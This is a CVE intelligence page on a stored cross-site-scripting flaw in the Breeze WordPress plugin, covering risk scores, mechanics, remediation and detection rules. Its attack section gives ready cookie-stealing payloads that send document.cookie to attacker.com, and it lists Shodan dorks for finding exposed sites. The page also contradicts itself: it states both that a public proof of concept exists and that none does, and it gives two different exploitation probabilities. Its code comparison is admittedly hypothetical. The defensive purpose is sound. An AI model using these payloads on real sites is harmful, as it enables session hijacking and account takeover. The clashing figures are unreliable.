☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Cloudways logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-50431

CVE-2024-50431 Cross-Site Scripting in Cloudways
📅 PUBLISHED: 2024-10-28 19:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.13%
👁️
0.13% probability
3.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-50431 is a Stored Cross-Site Scripting (XSS) vulnerability in the Breeze WordPress caching plugin by Cloudways, affecting versions up to and including 2.1.14. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject malicious scripts. These scripts are stored on the server and executed in the browsers of other users, including administrators, leading to session hijacking, defacement, or data theft. The CVSS score is 5.9 (Medium), with a low EPSS probability of exploitation (0.0%). No public proof-of-concept or exploit code is currently available, but the risk is elevated due to the widespread use of the Breeze plugin in the WordPress ecosystem.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Breeze WordPress plugin, which is distributed via the official WordPress plugin repository and managed through the WordPress admin dashboard. As a WordPress plugin, it is not an NPM, PyPI, Go, or Ruby package. However, the supply chain risk is significant: if the plugin is compromised or an update is not applied, attackers can inject malicious scripts into cached pages, affecting all site visitors. Administrators should verify the integrity of the plugin by checking its checksum against the WordPress repository and ensure automatic updates are enabled.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.9 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network (AV:N) – exploitable remotely.
  • Attack Complexity: Low (AC:L) – no special conditions required.
  • Privileges Required: Low (PR:L) – attacker needs contributor-level access or higher.
  • User Interaction: Required (UI:R) – victim must visit the compromised page.
  • Scope: Changed (S:C) – impact extends beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – limited data exposure.
  • Integrity Impact: Low (I:L) – limited modification of content.
  • Availability Impact: Low (A:L) – limited disruption.

Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature and the plugin’s popularity in the WordPress ecosystem elevate the risk. An attacker with low privileges can compromise high-privilege users (e.g., administrators) by injecting scripts that steal cookies or perform actions on their behalf.

Deep Dive & Mechanics

The Breeze plugin is a caching solution for WordPress that optimizes page load times by storing static HTML versions of pages. The vulnerability exists in the plugin’s handling of user input during the caching process. Specifically, when a user submits content (e.g., via comments, custom fields, or shortcodes) that is later rendered in a cached page, the plugin fails to properly sanitize or escape the input before storing it in the cache. This allows an attacker to inject arbitrary JavaScript or HTML into the cached output.

Root Cause: The plugin uses echo or print statements to output user-supplied data without applying WordPress’s built-in escaping functions like esc_html() or wp_kses_post(). When the cached page is served to subsequent visitors, the injected script executes in their browsers.

Attack Flow:

  1. Attacker logs in with contributor-level privileges.
  2. Attacker submits a post or comment containing a malicious payload, e.g., <script>alert('XSS')</script>.
  3. The Breeze plugin caches the page, storing the payload.
  4. An administrator or other user visits the cached page.
  5. The payload executes, potentially stealing session cookies, redirecting to a malicious site, or performing actions on behalf of the victim.

WordPress Ecosystem Context: This vulnerability is specific to the Breeze plugin and is not related to Apache or Nginx. It exploits the plugin’s caching mechanism, which is a common feature in WordPress performance plugins.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (Breeze <= 2.1.14):

// In a caching function, user input is directly output
function breeze_cache_output($content) {
    // Assume $user_input comes from a shortcode or comment
    $cached_page = "<div>" . $user_input . "</div>";
    return $cached_page;
}

Patched Code (Hypothetical):

function breeze_cache_output($content) {
    // Properly escape user input
    $safe_input = esc_html($user_input);
    $cached_page = "<div>" . $safe_input . "</div>";
    return $cached_page;
}

The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • WordPress site with Breeze plugin <= 2.1.14.
  • Attacker account with contributor-level privileges or higher.

Exploitation Steps:

  1. Log in to WordPress as a contributor.
  2. Create a new post or edit an existing one.
  3. In the post content, insert a malicious payload:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  4. Publish the post.
  5. Wait for an administrator to visit the post or the homepage (if cached).
  6. The script executes, sending the admin’s session cookie to the attacker’s server.

Alternative Payload:

<img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))">

Blue Team (Defender)

Detection:

  • Monitor for unusual post content containing <script> tags or event handlers.
  • Use a Web Application Firewall (WAF) to block common XSS patterns.
  • Enable WordPress’s built-in wp_kses filtering for user roles.

Mitigation:

  • Disable the Breeze plugin until a patch is released.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Regularly audit user roles and remove unnecessary privileges.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to unknown domains containing cookie= or document.cookie.
  • Host: Presence of <script> tags in cached HTML files under /wp-content/cache/breeze/.
  • Logs: WordPress debug log entries showing wp_redirect or wp_die calls from unknown sources.
  • File: Modified .htaccess or wp-config.php files (if attacker escalates privileges).

Detection Engineering

YARA Rule

rule CVE_2024_50431_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Breeze plugin cache files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50431"
    strings:
        $script_tag = /<script[\s>]/ nocase
        $onerror = /onerror\s*=/ nocase
        $onload = /onload\s*=/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-50431 Stored XSS in Breeze Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS payloads in WordPress Breeze plugin cache
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50431 Stored XSS in Breeze Plugin"; flow:to_server,established; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Breeze plugin until an official patch is released.
  2. Apply a virtual patch using a WAF to block XSS patterns (e.g., <script, onerror).
  3. Review user roles and remove any unnecessary contributor or author accounts.

Long-Term Fix:

  • Monitor the Cloudways Breeze plugin page for updates. Once a patched version (e.g., 2.1.15) is released, update immediately.
  • Implement a Content Security Policy (CSP) with script-src 'self' to prevent inline script execution.
  • Enable WordPress’s automatic plugin updates for critical security patches.

Workaround:

  • Use an alternative caching plugin (e.g., WP Super Cache or W3 Total Cache) that is actively maintained and patched.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Breeze"
http.html:"wp-content/plugins/breeze"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-50431/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.